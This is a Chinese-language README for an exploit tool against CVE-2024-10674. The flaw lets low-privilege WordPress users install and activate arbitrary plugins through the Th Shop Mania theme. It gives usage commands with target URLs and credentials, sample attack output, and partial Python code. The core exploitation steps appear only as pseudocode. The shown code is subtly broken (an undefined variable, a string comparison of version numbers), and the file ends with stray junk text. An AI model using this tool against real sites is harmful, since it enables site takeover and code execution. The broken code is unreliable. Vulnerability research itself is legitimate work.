CVE-2024-10674: Th Shop Mania <= 1.4.9 任意插件安装/激活漏洞利用工具
本项目是针对 WordPress Th Shop Mania 主题中一个高危漏洞(CVE-2024-10674)的概念验证(PoC)利用脚本。该漏洞源于主题的 th_shop_mania_install_and_activate_callback() 函数未能正确执行权限检查,导致拥有订阅者级别及以上权限的认证用户,可以绕过授权,在目标网站上安装并激活任意插件。
攻击者可利用此漏洞安装恶意插件,进而实现远程代码执行和权限提升,对网站安全构成严重威胁。此工具仅用于安全研究和教育目的。
功能特性
- 漏洞检测:自动检查目标 WordPress 网站是否使用了存在漏洞的 Th Shop Mania 主题版本(<= 1.4.9)。
- 身份认证:使用提供的 WordPress 用户名和密码进行登录认证。
- 任意插件安装:绕过权限检查,在目标网站上安装指定的 WordPress 插件。
- 插件自动激活:成功安装插件后,自动将其激活,使其功能立即生效。
- 默认插件选项:内置默认插件(
th-all-in-one-woo-cart),方便快速测试,同时也支持用户自定义插件。 - 清晰的执行流程:脚本执行过程包含状态提示,如版本检测、登录状态、插件安装激活结果等。
安装指南
系统要求
- Python 3.x
pipPython 包管理工具
安装步骤
-
获取项目代码 克隆本仓库到本地:
git clone https://github.com/Nxploited/CVE-2024-10674.git cd CVE-2024-10674 -
安装依赖 该项目依赖于
requests库。使用 pip 进行安装:pip install requests
使用说明
基础用法
脚本通过命令行参数运行。你需要提供目标网址、一个有效的 WordPress 用户凭证。
python exploit_script.py -u <目标网址> -U <用户名> -P <密码> [-p <插件名>]
参数详解
| 参数 (短) | 参数 (长) | 描述 | 是否必须 |
|---|---|---|---|
-u | --url | 目标 WordPress 网站的 URL | 是 |
-U | --username | WordPress 用户名 | 是 |
-P | --password | WordPress 密码 | 是 |
-p | --plugin | 要安装的插件名称 (默认: th-all-in-one-woo-cart) | 否 |
使用示例
-
使用默认插件进行测试 此命令将使用提供的凭证登录
192.168.1.100上的 WordPress,检测漏洞并尝试安装默认插件。python exploit_script.py -u http://192.168.1.100/wordpress -U subscriber_user -P userpass -
安装并激活指定插件 此命令将尝试安装并激活
hello-dolly插件。python exploit_script.py -u http://192.168.1.100/wordpress -U subscriber_user -P userpass -p hello-dolly
典型输出
执行成功后,你将看到类似如下的输出信息:
[+] Detected theme version: 1.4.8
[+] Site is vulnerable! Exploiting in 3 seconds...
[+] Logged in successfully.
[+] Installing plugin: hello-dolly
[+] Plugin installed and activated successfully.
核心代码
以下是该漏洞利用工具的核心代码片段及其注释。
1. 漏洞检测函数 check_vulnerability()
import requests
import re
import time
def check_vulnerability(url):
"""
检查目标网站是否存在 Th Shop Mania 主题漏洞 (<= 1.4.9)。
Args:
url: 目标WordPress网站的URL。
Returns:
bool: 如果存在漏洞返回True,否则返回False。
"""
try:
response = requests.get(version_url, timeout=5)
if response.status_code == 200:
# 使用正则表达式查找稳定版本标签
match = re.search(r"Stable tag:\s*([0-9\.]+)", response.text)
if match:
version = match.group(1)
print(f"[+] Detected theme version: {version}")
# 对比版本号,判断是否易受攻击
if version <= "1.4.9":
print("[+] Site is vulnerable! Exploiting in 3 seconds...")
time.sleep(3)
return True
else:
print("[-] Site is not vulnerable. Exiting.")
return False
else:
print("[-] Could not determine theme version. Exiting.")
return False
else:
return False
except requests.RequestException:
print("[-] Connection error while checking theme version. Exiting.")
return False
2. URL规范化函数 normalize_url()
此函数用于确保用户输入的URL包含协议头,避免后续请求失败。
def normalize_url(url):
"""
确保URL包含协议头(http:// 或 https://),如果没有则默认添加http://。
Args:
url: 用户输入的原始URL。
Returns:
str: 规范化后的完整URL。
"""
if not url.startswith(("http://", "https://")):
print("[!] URL missing schema, adding 'http://'")
return "http://" + url
return url
3. 主程序入口与参数解析
使用 argparse 模块处理命令行参数,并将它们传递给核心利用逻辑。
import argparse
# 创建参数解析器
parser = argparse.ArgumentParser(description="Exploit for CVE-2024-10674 (# By Nxploit | Khaled alenazi,)")
# 定义必须的命令行参数
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., http://192.168.100.74:888/wordpress)")
parser.add_argument("-U", "--username", required=True, help="WordPress username")
parser.add_argument("-P", "--password", required=True, help="WordPress password")
parser.add_argument("-p", "--plugin", default="th-all-in-one-woo-cart", help="Plugin to install (default: All In One Woo Cart)")
# 解析参数
args = parser.parse_args()
# 参数解析后的利用代码逻辑 (以下为伪代码,示意流程)
# target_url = normalize_url(args.url)
# username = args.username
# password = args.password
# plugin_to_install = args.plugin
#
# if check_vulnerability(target_url):
# # 执行登录、获取nonce、安装插件等后续操作
# pass
```FINISHED
6HFtX5dABrKlqXeO5PUv/7Vf5QUdtOJiR8MOLNFcNEY=